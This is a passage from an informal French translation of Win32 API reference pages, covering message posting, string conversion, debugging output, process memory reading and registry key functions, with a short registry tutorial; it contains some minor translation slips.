Spécifie le numéro du message.

wParam

Indique l'information complémentaire du message. La signification exacte dépend de la valeur du membre 'message' ci-dessus.

lParam

Indique l'information complémentaire du message. La signification exacte dépend de la valeur du membre 'message' ci-dessus.

time

Indique à quel moment le message a été posté.

pt

Indique la position où se trouvait le curseur (en coordonnées d'écran), au moment où le message a été posté.


MultiByteToWideChar

int MultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cchMultiByte, lpWideCharStr, cchWideChar)

UINT CodePage;
DWORD dwFlags;
LPSTR lpMultiByteStr;
int cchMultiByte;
LPWSTR lpWideCharStr;
int cchWideChar;

La fonction MultiByteToWideChar est utilisée pour convertir une chaîne de caractères 'MultiByte' en son homologue de 'caractères large'.

Paramètre 	 Description

CodePage 	 La page de Code est utilisée pour exécuter la conversion. Si CodePage est
         CP_ACP, c'est la page de code ANSI qui sera utilisée. Si CodePage est
         CP_OEMCP, c'est la page de code OEM est utilisée.
dwFlags 	 J'ai pas compris, deux valeurs possibles dont une par défaut. Voici ces
         deux valeurs :

         Valeur 	 Signification

         MB_PRECOMPOSED	 Utilisation de caractères precomposed. (par défaut)
         MB_COMPOSITE 	 Utilisation de caractères composés.

lpMultiByteStr 	 Pointer qui est sur la chaîne de caractères  MultiByte à convertir. Si
         cchMultiByte est à -1, la chaîne de caractère est déjà équipée d'un NULL
         de terminaison.
cchMultiByte 	 Nombre de Caractères de la chaîne de caractères indiquée par lpMultiByteStr.
lpWideCharStr 	 Buffer qui doit recevoir la chaîne de caractères une fois traduite.
cchWideChar 	 Nombre de caractères dans le Buffer indiqué par lpWideCharStr. Si
         cchWideChar est 0, la fonction renverra le nombre de caractères exigés
         pour pouvoir traduire la chaîne de caractères. Dans ce cas, lpWideCharStr
         n'est pas pris en compte.

Retours

Succès : On obtient le numéro de caractères larges.
Échec : 0. Cette situation met dans la fonction GetLastError () les erreurs suivantes : ERROR_INSUFFICIENT_BUFFER ou ERROR_INVALID_PARAMETER.

Commentaires

Les pointers lpMultiByteStr et lpWideCharStr ne peuvent pas être un même et unique Buffer; dans ce cas l'erreur ERROR_INVALID_PARAMETER est retournée.


OpenIcon (Win32)

BOOL OpenIcon(hwnd)

HWND hwnd;	/* handle de la fenêtre */

Cette fonction active et affiche une fenêtre qui était réduite au minimum (iconique). Windows
la rétablit à sa taille et position d'origine.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.

Retours

La valeur en retour est le résultat de la fonction. Cette valeur sera non nulle si la fonction
est couronnée de succès. Autrement, c'est zéro.

Voir Aussi

LoadIcon, CreateIcon


OutputDebugString (Win32)

VOID OutputDebugString(lpszOutputString)

LPCTSTR lpszOutputString;	/* Chaîne de caractères à afficher */
La fonction OutputDebugString envoie une chaîne de caractères au programme de mise au point (au debugger) pour l'application actuelle (la cible).

Paramètre 	 	 Description

lpszOutputString 	 Pointe sur la chaîne de caractère terminée par un nul à afficher.

Retours

Cette fonction ne retourne aucune valeur.

Commentaires
Si l'application ne possède aucun programme de mise au point, le programme de mise au point du système affichera la chaîne de caractère. Si l'application ne possède aucun programme de mise au point et que le programme de mise au point du système n'est pas actif, cette fonction ne fait rien.

La fonction OutputDebugString peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).


PostMessage (Win32)

BOOL PostMessage(hwnd, uMsg, wParam, lParam)

HWND hwnd;	/* handle de la fenêtre de destination */
UINT uMsg;	/* message à poster */
WPARAM wParam;	/* premier paramètre associé à ce message */
LPARAM lParam;	/* second paramètre associé à ce message */
La fonction PostMessage poste un message dans la file d'attente des messages a associée au lien qui a créé la fenêtre donnée, et puis ensuite retourne sans attendre que le lien n'ait traité ce message. Les messages dans une file d'attente des messages sont retrouvés en appelant les fonction PeekMessage ou GetMessage.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre dont la procédure de fenêtre doit recevoir le message.
         Si ce paramètre est HWND_TOPMOST, le message sera posté pour toutes les
         fenêtres Popup ou Ovelapped dans le système. Le message n'est pas posté pour
         les fenêtres enfants.
uMsg 	 	 Est le message à être posté.
wParam		 Est une information complémentaire associée à ce messages.
lParam 		 Est une information complémentaire associée à ce messages.

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur s'est produite. Pour obtenir plus d'information à propos de l'erreur étendue, utilisez la fonction GetLastError.

Voir Aussi

GetMessage, PeekMessage, PostThreadMessage, SendDlgItemMessage, SendMessage


PostQuitMessage (Win32)

VOID PostQuitMessage(nExitCode)

int nExitCode;	/* code de sortie */
La fonction PostQuitMessage indique à Windows qu'un lien a fait une demande de terminaison. Cette fonction est typiquement employée en réponse à un message WM_DESTROY.

Paramètre 	 Description

nExitCode 	 Indique un code de sortie d'application. Il est employé en tant que paramètre
         wParam du message WM_QUIT.

Retours

Cette fonction ne retourne aucune valeur.

Commentaires
La fonction PostQuitMessage poste un message WM_QUIT dans la file d'attente des messages du lien et retourne immédiatement; cette fonction spécifie simplement au système que le lien demande de pouvoir quitter dès que ce sera possible.

Quand le lien retrouve le message WM_QUIT de sa file d'attente des messages, le lien doit sortir de sa boucle des messages et Windows reprend la main. Le code de sortie retourné à Windows doit être dans le paramètre wParam du message WM_QUIT.

Voir Aussi

GetMessage, PeekMessage, PostMessage


PrintDlg function (Win32)

BOOL PrintDlg(lppd)

LPPRINTDLG lppd;	/* pointe sur la structure contenant les données d'initialisation */
La fonction PrintDlg affiche une DialogBox pour Imprimante ou une DialogBox d'Installation d'Imprimante. La DialogBox pour Imprimante donne à l'utilisateur la possibilité d'imprimer ce qu'il veut. Alors que la DialogBox d'Installation d'Imprimante donne à l'utilisateur le choisir sur diverses propriétés de travail supplémentaires pour configurer l'imprimante.

Paramètre 	 Description

lppd 	 	 Pointe sur une structure PrintDlg, laquelle contient les informations utiles
         pour initialiser la DialogBox. Une fois que la fonction PrintDlg ait retournée,
         cette structure contient les informations sur les choix de l'utilisateur.

Retours

La valeur en retour est TRUE si la fonction configure l'imprimante avec succès. La valeur en
retour est FALSE si une erreur s'est produite, si l'utilisateur a choisit le bouton 'Annuler',
ou si l'utilisateur a cliqué sur la croix de fermeture pour refermer la DialogBox. (La valeur
en retour est également FALSE si l'utilisateur a cliqué sur le bouton 'Setup' pour afficher
la DialogBox d'Installation d'Imprimante, puis a choisit le bouton 'OK' dans la DialogBox
d'Installation d'Imprimante et ensuite choisit le bouton 'Cancel' (Annuler) dans cette
DialogBox.)

Erreurs
Utilisez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être une des suivantes :

CDERR_FINDRESFAILURE | PDERR_CREATEICFAILURE
CDERR_INITIALIZATION | PDERR_DEFAULTDIFFERENT
CDERR_LOADRESFAILURE | PDERR_DNDMMISMATCH
CDERR_LOADSTRFAILURE | PDERR_GETDEVMODEFAIL
CDERR_LOCKRESFAILURE | PDERR_INITFAILURE
CDERR_MEMALLOCFAILURE | PDERR_LOADDRVFAILURE
CDERR_MEMLOCKFAILURE | PDERR_NODEFAULTPRN
CDERR_NOHINSTANCE | PDERR_NODEVICES
CDERR_NOHOOK | PDERR_PARSEFAILURE
CDERR_NOTEMPLATE | PDERR_PRINTERNOTFOUND
CDERR_STRUCTSIZE | PDERR_RETDEFFAILURE


RaiseException (Win32)

VOID RaiseException(dwExceptionCode, dwExceptionFlags, cArguments, lpArguments)

DWORD dwExceptionCode;
DWORD dwExceptionFlags;
DWORD cArguments;
LPDWORD lpArguments;

La fonction RaiseException relève (montre) une exception dans le process courant.

Paramètre 	 	 Description

dwExceptionCode 	 Fournit le 'code d'exception' de l'exception qui est levée. Cette
             valeur peut être obtenue grâce aux filtres d'exception et les
             'Exception Handlers' en appelant GetExceptionCode.
dwExceptionFlags 	 Fournit le jeu de flags associé à l'exception.
             Voici la liste de Flags dwExceptionFlags :

             EXCEPTION_NONCONTINUABLE
             L'exception ne peut pas être relevée. L'obtention d'un retour
             EXCEPTION_CONTINUE_EXECUTION provenant d'une exception marquée
             provoque l'exception STATUS_NONCONTINUABLE_EXCEPTION.

cArguments 	 	 Fournit le nombre d'arguments associés à l'exception. Cette valeur
             ne peut pas excéder EXCEPTION_MAXIMUM_PARAMETERS. Ce paramètre est
             ignoré si lpArguments est NULL.
lpArguments 	 	 Est un paramètre facultatif, qui si il est présent fournit les
             arguments de l'exception.

Le relevé d'une exception fait que le dispatcher d'exception passe sa recherche à un Exception
Handler. Ça inclut les messages des Debuggers, les recherches d'un Handler ou les actions par
défaut (de base) du Système.


ReadProcessMemory (Win32)

BOOL ReadProcessMemory (hProcess, lpBaseAddress, lpBuffer, cbRead, lpNumberOfBytesRead)

HANDLE hProcess; 	 	  /* process dont on lit la mémoire 	 */
LPVOID lpBaseAddress; 	 	  /* addr où on commence à lire 	 */
LPVOID lpBuffer; 	 	  /* buffer pour placer les données lues */
DWORD cbRead; 	 		  /* nombre total d'octets à lire 	 */
LPDWORD lpNumberOfBytesRead;	  /* nombre d'octets réellement lus 	 */

Il est possible de lire la mémoire à l'intérieur d'un process en employant la fonction
ReadProcessMemory.

Paramètre 	 Description

hProcess 	 Est l'handle d'un process déjà ouvert pour qu'on puisse lire dans sa mémoire.
         Cet handle a dû être obtenu avec PROCESS_VM_READ pour accèder au process.
lpBaseAddress 	 Représente l'adresse de base (00400000) du process cible dans lequel
         on souhaite lire. Avant que n'importe quel transfert de données n'arrive, le
         système vérifie que toutes les données dans l'adresse de base et la taille
         indiquée sont accessibles pour un accès en lecture. Si c'est le cas, on
         obtient bien les retours de fonction. Sinon, la fonction échoue.
lpBuffer 	 Est l'adresse d'un buffer lequel recevra le contenu des adresses lues
         dans le process cible.
cbRead 	 	 Représente le nombre d'octets à lire dans le process cible.
lpNumberOfBytesRead 	 Un paramètre facultatif, qui si il est spécifié reçoit le nombre
         réel d'octets transférés dans le buffer. Il peut être différent de la valeur
         de cbRead dans le cas où on tombe sur de données inaccessibles en lecture.
         Si ça arrive, la fonction renvoie un False, et GetLastError retourne une
         "courte information" à propos de l'indicateur d'erreur.

Retours

La valeur de retour est TRUE si la fonction est couronnée de succès, ou False si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

Cette fonction copie les données dans la gamme d'adresse indiquée de l'espace d'adresse d'un
process cible dans le buffer indiqué de votre process actuel. N'importe quel process ayant un
handle avec l'accès PROCESS_VM_READ, peut être lu en appelant la fonction ReadProcessMemory.
Le process dont on souhaite lire les adresses ne doit pas être en train de se faire débugguer
par un autre programme.

Voir Aussi

WriteProcessMemory


RegOpenKeyEx - RegCreateKeyEx
RegQueryInfoKey, RegQueryValueEx,
RegSetValueEx, RegDeleteValue, RegEnumKeyEx
RegEnumValue, RegFushKey
RegCloseKey

Un exemple fonctionnel

Principe d'écriture ou de lecture d'une information dans la base des registres. L'ordre a une grande importance!

RegOpenKey(Ex) permet d'atteindre l'endoit où on va écrire ou lire une donnée.
RegQueryValue(Ex) permet de lire une donnée.
RegSetValue(Ex) permet d'écrire une donnée.
Et toutes les autres fonctions Reg_***
RegCloseKey referme le chemin d'ouverture.

Mettons les choses au clair dès le début, Par exemple voici un chemin à travers la Bases des Regitres :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
Par défaut la racine HKEY_LOCAL_MACHINE et ses 4 frères (voir les APIs ci-dessous) sont toujours des clefs ouvertes.
Software\Microsoft\Windows\CurrentVersion représente la sous-clef.
Une fois qu'on l'aura ouverte avec RegOpenKey ou RegCreateKey on aura:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

Maintenant seulement on peut écrire ou lire ou faire autre chose dans ce répertoire, car on a récupérer l'Handle de cette nouvelle longue clef. L'ancienne clef + sous-clef est maintenant considérer comme une nouvelle clef d'Handle 'phkResult'.

Maintenant avec une autre fonction telle que 'RegSetValueEx' nous pouvons par exemple créer une nouvelle valeur au bout de cette Clef et écrire une donnée (de type BINAIRE) dans cette valeur:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion / [Valeur1_bin]=10011011
RegOpenKeyEx (Win32)

LONG RegOpenKeyEx(hkey, lpszSubKey, fdwOptions, samDesired, phkResult)

HKEY hkey;		/* handle d'une clef déjà ouverte*/
LPTSTR lpszSubKey;	/* addresse du nom de la sous-clef à ouvrir*/
DWORD fdwOptions;	/* réservé*/
REGSAM samDesired;	/* accès de sécurité souhaité*/
PHKEY phkResult;	/* handle de la clef finale qui sera ouverte*/

La fonction RegOpenKeyEx ouvre la clef indiquée.

Paramètre 	 Description

hkey 	 	Identifie une clef déjà ouverte, ou bien une des valeurs des handles
        prédéterminés suivants :

        HKEY_CLASSES_ROOT
        HKEY_CURRENT_USER
        HKEY_LOCAL_MACHINE
        HKEY_USERS

lpszSubKey 	 Pointe sur une chaîne de caractères terminée par un NULL, laquelle spécifie le
         nom de la sous-clef à ouvrir. Ce paramètre ne doit pas être NULL.
fdwOptions 	 Ce paramètre est réservé. Mettez un NULL.
samDesired 	 Pointe sur un masque d'accès de sécurité, lequel spécifie l'accès de sécurité
         souhaité pour la nouvelle clef. Ce paramètre peut être une des combinaisons
         suivantes :

         Valeur		  	 Signification

        KEY_ALL_ACCESS 	 	 Combine la valeur de query (question), enumerate subkey
                      (énumérer sous-clef), notify (notifier), create subkey
                     (créer sous-clef) et set value access (accès en
                     écriture d'une valeur).
        KEY_CREATE_SUB_KEY	 Permission de créer une sous-clefs.
        KEY_ENUMERATE_SUB_KEYS	 Permission d'énumérer une sous-clefs.
        KEY_EXECUTE		 Accès en lecture.
        KEY_NOTIFY	 	 Changement de notification quand elle se produit.
        KEY_QUERY_VALUE	 	 Permission de questionnée la donnée de la sousclefs.
                     (de la lire la donnée)
        KEY_READ		 Combine la valeur de query (question), enumerate subkey
                     (énumérer sous-clef) et notify (notifier).
        KEY_SET_VALUE 	 	 Permission d'écrire une donnée dans la sous-clefs.
        KEY_WRITE		 Combine permission de créer une sousclef puis d'écrire
                     une donnée dedans.

phkResult 	 Pointe sur une variable laquelle reçoit l'handle de la nouvelle clef qu'on
         vient d'ouvrir.

Valeur de Retour

La valeur de retour est ERROR_SUCCESS si la fonction est couronnée de succès. Autrement, c'est
une valeur d'erreur.

Commentaires

À la différence de la fonction RegCreateKeyEx, la fonction RegOpenKeyEx ne crée pas la clef
indiquée si la clef n'existe pas dans la Base des Registres .
La fonction RegOpenKeyEx peut être employée soit comme fonction de caractère large (où les
arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les
arguments de texte doivent employer des caractères du jeu de Windows 3.x).

RegCreateKeyEx (New for Win32)

LONG RegCreateKeyEx(hkey, lpszSubKey, dwReservced, lpszClass, fdwOptions, samDesired,
             lpSecurityAttributes, phkResult, lpdwDisposition)

HKEY hkey;		   /* handle d'une clef déjà ouverte */
LPTSTR lpszSubKey;	   /* address de la sous-clé */
DWORD dwReserved;	   /* doit être NULL*/
LPTSTR lpszClass;	   /* addresse de la Classe de la chaîne de caractères (de la clé+sousclef) */
DWORD fdwOptions;	   /* flag d'options spéciales */
REGSAM samDesired;	   /* accès de sécurité souhaité */
LPSECURITY_ATTRIBUTES lpSecurityAttributes;	/* sécurité pour la clé*/
PHKEY phkResult;	   /* buffer d'un handle ouvert */
LPDWORD lpdwDisposition;   /* buffer de disponibilité */

La fonction  RegCreateKeyEx crée la clef indiquée. Si la clef existe déjà dans la base des
Registres, la fonction l'ouvre.

Paramètre 	Description

hkey 	 	Identifie une clef déjà ouverte, ou bien un des handles prédéterminés suivants :

        HKEY_CLASSES_ROOT
        HKEY_CURRENT_USER
        HKEY_LOCAL_MACHINE
        HKEY_USERS

        La clef que la fonction RegCreateKeyEx doit ouvrir ou créer est une sous-clef
        de la clef identifiée par le paramètre hkey.

lpszSubKey	Pointe sur une chaîne de caractères terminée par un NULL, laquelle spécifie la
        sous-clef à ouvrir ou à créer. lpszSubKey est toujours relatif à la clef
        indiquée par hkey. Cette valeur ne doit pas être NULL.
dwReserved 	Réservé. Doit rester NULL.
lpszClass 	Pointe sur une chaîne de caractères terminée par un NULL, laquelle spécifie la
        classe (le type d'objet) de cette clef. Ce paramètre est ignoré si la clef
        existe déjà.
        -------------------------------------------------------------------------------
fdwOptions 	Représente des options spéciales pour la clef. Actuellement, ce paramètre peut
        avoir une des valeurs suivantes :

        Valeur 	 		 Signification

        REG_OPTION_VOLATILE 	 Cette clef est volatile et sera effacée si on reboot
                     le système.
        REG_OPTION_NON_VOLATILE  Cette clef est non volatile et sera gardée si on
                     reboot système.
        Par défaut, les clefs ne sont pas volatiles. Cette option est ignorée si la clef
        existe déjà .
        -------------------------------------------------------------------------------

samDesired 	Est un masque d'accès de sécurité, lequel spécifie l'accès de sécurité désiré
         pour la nouvelle clef. Ce paramètre peut être une des combinaisons suivantes :

        Valeur 	 		 Signification

        KEY_ALL_ACCESS 	 	 Combine la valeur de query (question), enumerate
                     subkey (énumérer sous-clef), notify (notifier),
                     create subkey (créer sous-clef) et set value access
                     (accès en écriture d'une valeur).
        KEY_CREATE_SUB_KEY	 Permission de créer une sous-clefs.
        KEY_ENUMERATE_SUB_KEYS 	 Permission d'énumérer une sous-clefs.
        KEY_EXECUTE 		 Accès en lecture.
        KEY_NOTIFY 		 Changement de notification quand elle se produit.
        KEY_QUERY_VALUE 	 Permission de questionnée la donnée de la sousclefs.
                     (de la lire la donnée) KEY_READ Combine la valeur de
                     query (question), enumerate subkey (énumérer sous-clef)
                     et notify (notifier). KEY_SET_VALUE Permission d'écrire
                     une donnée dans la sous-clefs.
        KEY_WRITE 		 Combine permission de créer une sousclef puis d'écrire
                     une donnée dedans.
        -------------------------------------------------------------------------------

lpSecurityAttributes 	Pointe sur une structure de données SECURITY_ATTRIBUTES laquelle
            spécifie les attributs de sécurité pour la nouvelle clef. Ce paramètre
            peut être NULL si la nouvelle clef n'a aucune sécurité. Si le système
            d'exploitation ne soutient pas de sécurité, ce paramètre est ignoré.
phkResult		Pointe sur la variable qui recevra l'handle de la clef qu'on souhaite
            ouvrir ou créer.

        -------------------------------------------------------------------------------
lpdwDisposition		Pointe sur une variable qui reçoit une des valeurs de disponibilité
            suivantes :

        Valeur 	 		 Signification

        REG_CREATED_NEW_KEY 	 Si la clef n'existait pas on la crée.
        REG_OPENED_EXISTING_KEY  Si la clef existait déjà alors on l'ouvre seulement
                     et on ne la modifie pas.

Valeurs de Retours

La valeur de retour est ERROR_SUCCESS si la fonction est couronnée de succès. Autrement, c'est
une valeur d'erreur.

Commentaires

La clef créée par cette fonction n'a aucunes valeurs. Votre application devra employer la
fonction RegSetValue ou RegSetValueEx pour mettre une valeur dans cette clef.

La clef indiquée par hkey doit être ouverte avec l'accès KEY_CREATE_SUB_KEY. Employez la
fonction RegCreateKeyEx ou RegOpenKeyEx pour ouvrir la clef.
RegCreateKeyEx est un Atom; une application peut l'employer pour refermer une partie de la
Base des Registres. Quand le process refermé crée une nouvelle clef, il reçoit
REG_CREATED_NEW_KEY, pour indiquer qu'il "possède" la serrure. Tout autre process essayant
de créer la même clef reçoit REG_OPENED_EXISTING_KEY, indiquant qu'autre process possède
déjà cette serrure.
La fonction RegCreateKeyEx peut être employée soit comme fonction de caractère large (où
les arguments de texte doivent employer l'Unicode) soit comme une fonction ANSI (où les
arguments de texte doivent employer les caractères du jeu de Windows 3.x).

RegQueryInfoKey (Win32)

Voir l'exemple

LONG RegQueryInfoKey(hkey, lpszClass, lpcbClass, lpdwReserved, lpcSubKeys, lpcbMaxSubkey,
             lpcbMaxClass, lpcValues, lpcbMaxValueName, lpcbMaxValueData,
            lpcbSecurityDescriptor, lpftLastWriteTime)

HKEY hkey;		/* identifie la clé à questionner (lire la valeur qu'elle contient) */
LPTSTR lpszClass;	/* buffer de sa classe (c'est une chaîne de caractères) */
LPDWORD lpcbClass;	/* taille du buffer contenant la chaîne de caractères 'Class' */
LPDWORD lpdwReserved;	/* réservée; doit être un NULL */
LPDWORD lpcSubKeys;	/* buffer pour le nombre de sous-clefs */
LPDWORD lpcbMaxSubkey;	/* buffer pour la taille de la plus longue sous-clef */
LPDWORD lpcbMaxClass;	/* buffer pour la plus longue Classe */
LPDWORD lpcValues;	/* buffer pour le nombre d'IDs */
LPDWORD lpcbMaxValueName;	/* buffer pour la valeur qui possède le plus long nom */
LPDWORD lpcbMaxValueData;	/* buffer pour la valeur qui possède la plus longue donnée */
LPDWORD lpcbSecurityDescriptor;	/* buffer pour la longueur du descripteur */
PFILETIME lpftLastWriteTime;	/* buffer pour la dernière date d'écriture */

La fonction RegQueryInfoKey retrouve les informations à propos d'une clef dans la Base des
Registres.

Paramètre 	Description

hkey 	 	Pointe sur une clef déjà ouverte pour retrouver des informations sur elle, ou
        un des Handles prédéterminés suivants :

        HKEY_CLASSES_ROOT
        HKEY_CURRENT_USER
        HKEY_LOCAL_MACHINE
        HKEY_USERS

lpszClass 	 Pointe sur un Buffer lequel reçoit la chaîne de caractères représentant la
         classe de la clef. Peut-être NULL.
lpcbClass 	 Pointe sur une variable laquelle est la taille du Buffer lpszClass (en octets).
         Quand cette fonction retourne, cette variable contient la longueur de la chaine
         de caractères représentant la classe stockée dans le Buffer. Peut-être NULL.
lpdwReserved 	 Réservé; doit être NULL.
lpcSubKeys 	 Pointe sur une variable, laquelle reçoit le nombre de sousclefs appartenant à
         la clef où nous sommes. Peut-être NULL.
lpcbMaxSubkey 	 Pointe sur une variable, laquelle reçoit la taille de la plus longue sousclef
         de la clef (en octets). Peut-être NULL.
lpcbMaxClass 	 Pointe sur une variable, laquelle reçoit la longueur de la chaîne de caractères
         de la classe de la plus longue sousclef (en octets). Peut-être NULL.
lpcValues 	 Pointe sur une variable, laquelle reçoit le nombre de valeurs que la clef
         possède. Peut-être NULL.
lpcbMaxValueName Pointe sur une variable, laquelle reçoit la taille du plus long nom
         (en octets). Peut-être NULL.
lpcbMaxValueData Pointe sur une variable, laquelle reçoit la taille de la plus longue
         donnée (en octets). Peut-être NULL.
lpcbSecurityDescriptor 	 Pointe sur une variable, laquelle reçoit la longueur de
         SECURITY_DESCRIPTOR de cette clef. Peut-être NULL.
lpftLastWriteTime Pointe sur une variable, laquelle reçoit la structure FILETIME qui
         sert à savoir quelle était la dernière fois où la clef ou chacune de ses
         valeurs d'entrées a été modifiée. Peut-être NULL.

Valeurs de Retours

La valeur de retour est ERROR_SUCCESS si la fonction est couronnée de succès. Autrement, c'est
une valeur d'erreur.

Commentaires

Sous Windows 95 le paramètre FILETIME n'est pas reconnu et un NULL est donc Souhaitable.
La fonction RegQueryInfoKey peut être employée soit comme fonction de caractères larges (où les
arguments de texte doivent employer l'Unicode) soit comme une fonction ANSI (où les arguments
de texte doivent employer le jeu de caractères de Windows 3.x).

RegQueryValueEx (Win32)

LONG RegQueryValueEx(hkey, lpszValueName, lpdwReserved, lpdwType, lpbData, lpcbData)

HKEY hkey;		/* Identifie la clef dans laquelle est placée la valeur */
LPTSTR lpszValueName;	/* adresse du buffer contenant la valeur */
LPDWORD lpdwReserved;	/* réservé; doit être un NULL */
LPDWORD lpdwType;	/* adresse du buffer contenant le Type de donnée*/
LPBYTE lpbData;		/* adresse du buffer contenant la Donnée*/
LPDWORD lpcbData;	/* adresse du buffer contenant la taille de la donnée */

La fonction RegQueryValueEx retrouve le 'Type' d'une clef  déjà ouverte et sa 'Valeur'.

Paramètre 	 Description

hkey 	 	Identifie une clef actuellement ouverte, ou bien une des valeurs des handles
         prédéterminés suivants :

        HKEY_CLASSES_ROOT
        HKEY_CURRENT_USER
        HKEY_LOCAL_MACHINE
        HKEY_USERS

lpszValueName 	Pointe sur un buffer, lequel reçoit le nom de la valeur de la clef. Ce
        paramètre ne doit pas être NULL.
lpdwReserved 	Réservé; doit être NULL.

        -------------------------------------------------------------------------------
lpdwType 	Pointe sur une variable, laquelle reçoit le Type de valeur de la clef.
        Exemple : ("offset TypeDonnee" (avec "TypeDonnee equ REG_DWORD)).
        Ce Type peut être une des valeurs suivantes :

        Valeur 	 	 Signification

        REG_BINARY 	 La donnée est de type : binaire.
        REG_DWORD 	 La donnée est un nombre sur 32 bits : genre 00401C0Ah
        REG_DWORD_LITTLE _ENDIAN	La donnée est un nombre sur 32 bits  (dans le
                        format petit endian (Idem REG_DWORD). (En petit
                        ENDIAN le nombre ci dessus donnerait A0C10400h)
        REG_DWORD_BIG _ENDIAN		La donnée est un nombre sur 32 bits (dans le
                        format grand endian (Idem REG_DWORD) (c'est le
                        contraire)
        REG_EXPAND_SZ 	 Une chaîne de caractères UNICODE terminée par un NULL,
                 laquelle contient des références non-étendues sur les variables
                 d'environnement (le CHEMIN, par exemple).
        REG_LINK 	 Une liaison Unicode symbolique.
        REG_MULTI_SZ 	 Un tableau contenant des chaînes de caractères terminées
                 par des NULL, ce tableau est lui-même terminés par un
                 caractère NULL (ce qui fait un Double NULL pour le tout
                 dernier texte).
        REG_NONE 	 Aucun type de valeur défini.
        REG_RESOURCE_LIST 	 Une liste de ressource de Device-Drivers (Ex : le
                      Driver de la souris, de l'écran…).
        REG_SZ 	 	 Une chaîne de caractères Unicode terminée par un NULL.

        Votre paramètre lpdwType peut être NULL si le type n'est pas exigé.
        -------------------------------------------------------------------------------

lpbData 	Pointe sur un buffer, lequel reçoit les données dans la clef. Ce paramètre
        peut être NULL si les données ne sont pas exigées. Si lpdwType est
        REG_EXPAND_SZ, cette fonction n'inscrit pas les noms des variables
        d'environnements (en entier, genre c:\Windows~1\….) dans les données.
        La fonction ExpandEnvironmentStrings peut être employée pour étendre les
        noms des variable d'environnements.
lpcbData 	Pointe sur une variable, laquelle spécifie la taille du buffer lpbData
        (en octets). Quand la fonction retourne (au Call appelant), cette variable
        contient la taille des données copiées dans lpbData. Ce paramètre peut être
        NULL seulement si lpbData est NULL. (exemple : "offset tailleDuDword" si la
        donnée est un DWORD)

Valeurs de Retours

La valeur de retour est ERROR_SUCCESS si la fonction est couronnée de succès. Autrement, c'est
une valeur d'erreur.

Commentaires

La clef indiquée par hkey a dû être ouverte avec l'accès KEY_QUERY_VALUE. Employez la fonction
RegCreateKeyEx ou RegOpenKeyEx pour ouvrir la clef.
La fonction RegQueryValueEx peut être employée soit comme fonction de caractères larges (où les
arguments de texte doivent employer l'Unicode) soit comme une fonction ANSI (où les arguments de
texte doivent employer le jeu de caractères de Windows 3.x).

RegSetValueEx (Win32)

LONG RegSetValueEx(hkey, lpszValueName, dwReserved, fdwType, lpbData, cbData)

HKEY hkey;		/* identifie la clé dans laquelle on va écrire une Valeur */
LPTSTR lpszValueName;	/* addresse de la Valeur à écrire */
DWORD dwReserved;	/* doit être NULL */
DWORD fdwType;		/* le type de la Valeur */
LPBYTE lpbData;		/* addresse de la donnée à placer dans cette valeur */
DWORD cbData;		/* taille de la donnée dans la Valeur */

La fonction RegSetValueEx écrit des données dans la 'Valeur' d'une clef déjà ouverte, mais peut
également créer une nouvelle valeur puis la remplir avec des données.

Paramètre 	Description

hkey 	 	Identifie une clef déjà ouverte, ou bien une des valeurs de handle
        prédéterminées suivants:

           HKEY_CLASSES_ROOT
        HKEY_CURRENT_USER
        HKEY_LOCAL_MACHINE
        HKEY_USERS

lpszValueName 	 Pointe sur une chaîne de caractères, laquelle représente le nom de la valeur dans
         laquelle on va écrire les données. Si cette valeur n'existe pas encore, la
         fonction l'ajoute à la clef. La chaîne de caractères peut contenir autant de
         caractères que MAX_PATH le permet. Si lpszValue est NULL ou pointe sur une
         chaîne de caractères vide, cette fonction écrit la valeur.

dwReserved 	 Réservé; doit être NULL.

        -------------------------------------------------------------------------------
fdwType 	 Représente le type de la donnée à écrire dans la Valeur de la clef.
         Exemple : (mettre directement REG_SZ ou REG_DWORD)
         Ce paramètre peut avoir une des valeurs suivantes :

         Valeur 	   Signification

         REG_BINARY 	   La donnée est de type : binaire.
         REG_DWORD 	   La donnée est un nombre sur 32 bits : genre 00401C0Ah
         REG_DWORD_LITTLE _ENDIAN La donnée est un nombre sur 32 bits (dans le format
                       petit endian (Idem REG_DWORD). (En petit ENDIAN le
                      nombre ci dessus donnerait A0C10400h)
         REG_DWORD_BIG _ENDIAN  La donnée est un nombre sur 32 bits (dans le format
                     grand endian (Idem REG_DWORD) (c'est le contraire).
         REG_EXPAND_SZ     Une chaîne de caractères UNICODE terminée par un NULL,
                    laquelle contient des références non-étendues sur les
                   variables d'environnement (le CHEMIN, par exemple).
         REG_LINK 	   Une liaison Unicode symbolique.
         REG_MULTI_SZ      Un tableau contenant des chaînes de caractères terminées par
                    des NULL, ce tableau est lui-même terminés par un caractère
                   NULL (ce qui fait un Double NULL pour le tout dernier texte).
         REG_NONE 	   Aucun type de valeur défini.
         REG_RESOURCE_LIST Une liste de ressource de Device-Drivers (Ex : le Driver
                    de la souris, de l'écran…). REG_SZ Une chaîne de caractères
                   Unicode terminée par un NULL.
        -------------------------------------------------------------------------------

lpbData 	Pointe sur un buffer contenant les données à écrire dans la valeur.
cbData 	 	Spécifie la longueur (en octets) de la donnée à écrire dans la valeur
        de la clef. (exemple : "4" si la donnée est de type DWORD)
        ou bien ("sizeof MaChaine" si la donnée est une chaine de caractères)

Valeurs en Retour

La valeur en retour est ERROR_SUCCESS si la fonction est couronnée de succès. Autrement, c'est
une valeur d'erreur.

Commentaires

La longueur d'une valeur est limitée par la mémoire disponible. Longtemps les valeurs (de plus
de 2048 octets) on dû être stockées dans des fichiers, et avec les noms de ces fichiers stockés
dans la Base des Registres. Certains éléments appartenants à vos applications, tels que les
icônes, bitmaps et fichiers exécutables doivent être stockés dans les 'Fichiers Systèmes'
(*.ini), et non pas dans la Base des Registres.

Servez-vous de la fonction RegFlushKey pour vérifier que les changements faits par notre
fonction RegSetValueEx ont bien été effectués. La clef indiquée par hkey a dû être ouverte
